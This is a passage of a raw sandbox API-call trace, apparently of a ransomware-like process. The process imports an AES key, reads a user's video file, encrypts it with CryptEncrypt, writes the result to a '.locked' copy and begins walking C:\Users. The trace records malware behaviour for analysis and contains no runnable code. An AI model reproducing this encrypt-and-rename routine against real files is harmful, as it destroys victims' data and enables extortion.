(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.934] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.934] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.934] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0138.934] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.935] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.935] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.935] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.935] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0138.935] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.935] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.935] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.935] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.935] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0138.935] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.935] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.935] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.935] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.935] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0138.935] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.935] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.935] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.935] SystemFunction041 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.935] SystemFunction040 (in: Memory=0x8ebfcfc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfcfc) returned 0x0 [0138.935] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.936] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.936] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.936] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.936] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.936] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.936] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.936] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.936] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.936] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.937] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0138.937] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43969b0) returned 1 [0138.938] CryptImportKey (in: hProv=0x43969b0, pbData=0x6af8468, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84978) returned 1 [0138.938] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.938] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.938] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.938] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.938] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.941] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4")) returned 0x20 [0138.941] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4")) returned 0x20 [0138.941] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.941] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.941] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.941] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.941] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.941] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.941] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.942] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.942] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.942] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.942] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0138.942] GetFileType (hFile=0x778) returned 0x1 [0138.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.942] GetFileType (hFile=0x778) returned 0x1 [0138.942] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.942] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0138.943] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.943] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.943] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.943] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked", lpFilePart=0x0) returned 0x42 [0138.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.943] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0138.943] GetFileType (hFile=0x768) returned 0x1 [0138.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.943] GetFileType (hFile=0x768) returned 0x1 [0138.944] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.944] CryptGenRandom (in: hProv=0x43969b0, dwLen=0x10, pbBuffer=0x6b0f8f8 | out: pbBuffer=0x6b0f8f8) returned 1 [0138.944] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.944] CryptDuplicateKey (in: hKey=0x8e84978, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e849b8) returned 1 [0138.944] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.944] CryptSetKeyParam (hKey=0x8e849b8, dwParam=0x4, pbData=0x6b10bb4*=0x1, dwFlags=0x0) returned 1 [0138.944] CryptSetKeyParam (hKey=0x8e849b8, dwParam=0x1, pbData=0x6b10b80, dwFlags=0x0) returned 1 [0138.944] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x630\x438\x24a") returned 0x0 [0138.944] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.944] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x88, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.944] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.945] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.945] ReadFile (in: hFile=0x778, lpBuffer=0x6b14110, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b14110*, lpNumberOfBytesRead=0x99ae7a8*=0x764e, lpOverlapped=0x0) returned 1 [0138.945] CryptEncrypt (in: hKey=0x8e849b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b2811c*, pdwDataLen=0x99ae79c*=0x7640, dwBufLen=0x7640 | out: pbData=0x6b2811c*, pdwDataLen=0x99ae79c*=0x7640) returned 1 [0138.945] WriteFile (in: hFile=0x768, lpBuffer=0x6b0f9b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b0f9b8*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0138.946] WriteFile (in: hFile=0x768, lpBuffer=0x6b29108*, nNumberOfBytesToWrite=0x6654, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6b29108*, lpNumberOfBytesWritten=0x99ae780*=0x6654, lpOverlapped=0x0) returned 1 [0138.947] ReadFile (in: hFile=0x778, lpBuffer=0x6b14110, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b14110*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0138.947] CryptEncrypt (in: hKey=0x8e849b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b2f780*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6b2f780*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0138.947] CryptEncrypt (in: hKey=0x8e849b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b2f7b4*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6b2f7b4*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0138.947] WriteFile (in: hFile=0x768, lpBuffer=0x6b0f9b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6b0f9b8*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0138.947] CloseHandle (hObject=0x768) returned 1 [0138.949] CloseHandle (hObject=0x778) returned 1 [0138.949] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.949] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.949] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.949] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x89, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.949] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.950] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4")) returned 0x20 [0138.950] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.950] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.951] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.951] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.951] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.951] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.951] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.951] 